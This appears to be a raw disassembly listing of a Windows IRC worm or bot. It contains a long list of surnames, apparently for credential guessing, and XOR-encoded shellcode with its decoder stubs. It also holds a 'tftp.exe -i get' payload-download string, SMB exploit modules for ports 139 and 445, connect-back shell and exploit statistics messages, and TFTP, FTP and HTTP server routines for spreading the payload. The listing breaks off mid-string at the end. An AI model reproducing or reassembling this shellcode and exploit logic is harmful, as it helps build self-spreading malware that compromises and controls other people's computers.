dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
dword_447FEC dd 7325h ; DATA XREF: sub_40AFAB+27o
dword_447FF0 dd 69257325h, 0 ; DATA XREF: sub_40AFAB+4Eo
dword_447FF8 dd 7325h ; DATA XREF: _0:0040B030o
dword_447FFC dd 69257325h, 0 ; DATA XREF: _0:0040B057o
dword_448004 dd 4350h ; DATA XREF: _0:0040B0C8o
dword_448008 dd 4350h ; DATA XREF: _0:0040B0F2o
dword_44800C dd 4350h ; DATA XREF: _0:0040B11Eo
dword_448010 dd 69257325h, 0 ; DATA XREF: _0:0040B149o
dword_448018 dd 7C7325h ; DATA XREF: _0:0040B197o
dword_44801C dd 69257325h, 0 ; DATA XREF: _0:0040B1BEo
dword_448024 dd 3539h ; DATA XREF: _0:0040B22Co
dword_448028 dd 544Eh ; DATA XREF: _0:0040B23Ao
dword_44802C dd 3839h ; DATA XREF: _0:0040B24Ao
dword_448030 dd 454Dh ; DATA XREF: _0:0040B25Ao
dword_448034 dd 4B32h ; DATA XREF: _0:0040B273o
dword_448038 dd 5058h ; DATA XREF: _0:0040B283o
dword_44803C dd 334B32h ; DATA XREF: _0:0040B291o
dword_448040 dd 3F3F3Fh ; DATA XREF: _0:loc_40B298o
dword_448044 dd 5D73255Bh, 7Ch ; DATA XREF: _0:0040B2A1o
dword_44804C dd 69257325h, 0 ; DATA XREF: _0:0040B2C8o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40B2E7+1Fo
align 4
aM_0 db '[M]',0 ; DATA XREF: sub_40B2E7+2Co
aDS db '[%d]%s',0 ; DATA XREF: sub_40B2E7+3Ao
align 4
aMirc_1 db 'mIRC',0 ; DATA XREF: sub_40B2E7:loc_40B336o
align 10h
aM_1 db '[M]',0 ; DATA XREF: sub_40B2E7+5Co
align 8
loc_448078: ; DATA XREF: sub_40B590+BEo
jmp short loc_44807C
; ---------------------------------------------------------------------------
loc_44807A: ; CODE XREF: _2:loc_44807Cp
jmp short loc_448081
; ---------------------------------------------------------------------------
loc_44807C: ; CODE XREF: _2:loc_448078j
call loc_44807A
loc_448081: ; CODE XREF: _2:loc_44807Aj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_448086 dw 0FFFFh ; DATA XREF: sub_40B590+C6w
db 80h, 73h, 0Eh
byte_44808B db 0FFh ; DATA XREF: sub_40B590+CDw
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_448090: ; DATA XREF: sub_40B590+9Co
jmp short loc_448094
; ---------------------------------------------------------------------------
loc_448092: ; CODE XREF: _2:loc_448094p
jmp short loc_448099
; ---------------------------------------------------------------------------
loc_448094: ; CODE XREF: _2:loc_448090j
call loc_448092
loc_448099: ; CODE XREF: _2:loc_448092j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_44809D db 0FFh ; DATA XREF: sub_40B590+A4w
dw 7380h
db 0Ch
byte_4480A1 db 0FFh ; DATA XREF: sub_40B590+AAw
dw 0E243h
dd 0F9h
dword_4480A8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_40B419+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_44810C dd 12h ; DATA XREF: sub_40B419+3Dw
aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B419+79o
aJ_0 db 'j',0
db 0E8h
dword_448125 dd 17h ; DATA XREF: sub_40B419+4Dw
; ---------------------------------------------------------------------------
jnz short near ptr byte_44812C
retn
; ---------------------------------------------------------------------------
byte_44812C db 0E8h ; CODE XREF: _2:00448129j
dword_44812D dd 1 ; DATA XREF: sub_40B419+45w
byte_448131 db 0, 6Ah, 0 ; DATA XREF: sub_40B419+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_44813B dd 0FFFFFFEDh ; DATA XREF: sub_40B419+5Dw
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi ; MultiByteToWideChar
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
dword_44816C dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
; DATA XREF: sub_40B74E+10o
dword_448180 dd 202E6425h, 7325h ; DATA XREF: sub_40B74E+46o
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B919+35o
align 10h
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B919+51o
align 4
aSym db 'sym',0 ; DATA XREF: sub_40BE20+4Fo
; sub_40C87D+155o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40BD5A+30o
align 4
dd 5 dup(0)
dword_4481F0 dd 0B97h ; DATA XREF: sub_401C87+1D4Dr
; sub_401C87+1D76o ...
off_4481F4 dd offset sub_40E9ED ; DATA XREF: sub_40C87D+1D7r
dword_4481F8 dd 0 ; DATA XREF: sub_40BBCD+2Eo
; _0:0040DBB7r ...
dword_4481FC dd 1 ; DATA XREF: sub_40C049+1Fr
dword_448200 dd 1 ; DATA XREF: sub_40C049+3AAr
dword_448204 dd 0 ; DATA XREF: sub_40C049+285r
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40EB1Fh, 0
dd 2 dup(1), 0
aNet445 db 'net445',0
align 10h
dd 654E0000h, 69706174h, 353434h, 5 dup(0)
dd 1BDh, 40E882h, 0
dd 2 dup(1), 0
aAsn445 db 'asn445',0
align 10h
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40DA19h, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 10h
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40DA19h, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aAsn139_0 db 'asn139',0
align 10h
db 2 dup(0)
byte_448352 db 1 ; DATA XREF: sub_401C87:loc_40394Dr
; sub_401C87+1CD0o
aNet445_0 db 'net445',0
align 4
dd 73610100h, 3534346Eh, 0
dd 1, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_44838A
; =============== S U B R O U T I N E =======================================
sub_44837A proc near ; CODE XREF: sub_44837A:loc_44838Ap
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_448382: ; CODE XREF: sub_44837A+Cj
xor byte ptr [edx+ecx], 99h
loop loc_448382
jmp short loc_44838F
; ---------------------------------------------------------------------------
loc_44838A: ; CODE XREF: _2:00448378j
call sub_44837A
loc_44838F: ; CODE XREF: sub_44837A+Ej
jo short near ptr dword_44830C+1Eh
cwde
cdq
cdq
retn
sub_44837A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
unk_4484F8 db 2Dh ; - ; DATA XREF: sub_40BBCD+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
dword_448518 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40BBCD+46o
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40BBCD+85o
align 4
unk_448538 db 2Dh ; - ; DATA XREF: sub_40BC9B+37o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_448580 db 2Dh ; - ; DATA XREF: sub_40BD06+21o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 4
dword_4485AC dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40BD5A+14o
dd 7473694Ch, 3Ah
dword_4485C8 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BD5A+40o
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BD5A+7Eo
unk_4485E8 db 2Dh ; - ; DATA XREF: sub_40BE20+80o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 4
unk_448618 db 2Dh ; - ; DATA XREF: sub_40BE20+16Fo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_44864C db 2Dh ; - ; DATA XREF: sub_40BFD2+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_448668 db 2Dh ; - ; DATA XREF: sub_40BFD2+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 4
unk_448688 db 2Dh ; - ; DATA XREF: sub_40C049+D7o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_2 db ' Server started on Port: %d, File: %s.',0
align 4
unk_4486BC db 2Dh ; - ; DATA XREF: sub_40C049+137o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_35 db ' Failed to start server, error: <%d>.',0
align 10h
unk_4486F0 db 2Dh ; - ; DATA XREF: sub_40C049+1FFo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 4
unk_448724 db 2Dh ; - ; DATA XREF: sub_40C049+25Fo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_36 db 'Failed to start server, error: <%d>.',0
align 4
unk_448758 db 2Dh ; - ; DATA XREF: sub_40C049+326o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_4 db '- Server started on Port: %d.',0
align 4
unk_448788 db 2Dh ; - ; DATA XREF: sub_40C049+386o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_37 db '- Failed to start server, error: <%d>.',0
unk_4487C0 db 2Dh ; - ; DATA XREF: sub_40C049+440o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_1 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_4487FC db 2Dh ; - ; DATA XREF: sub_40C049+4C5o
db 3, 34h, 2
db 68h ; h
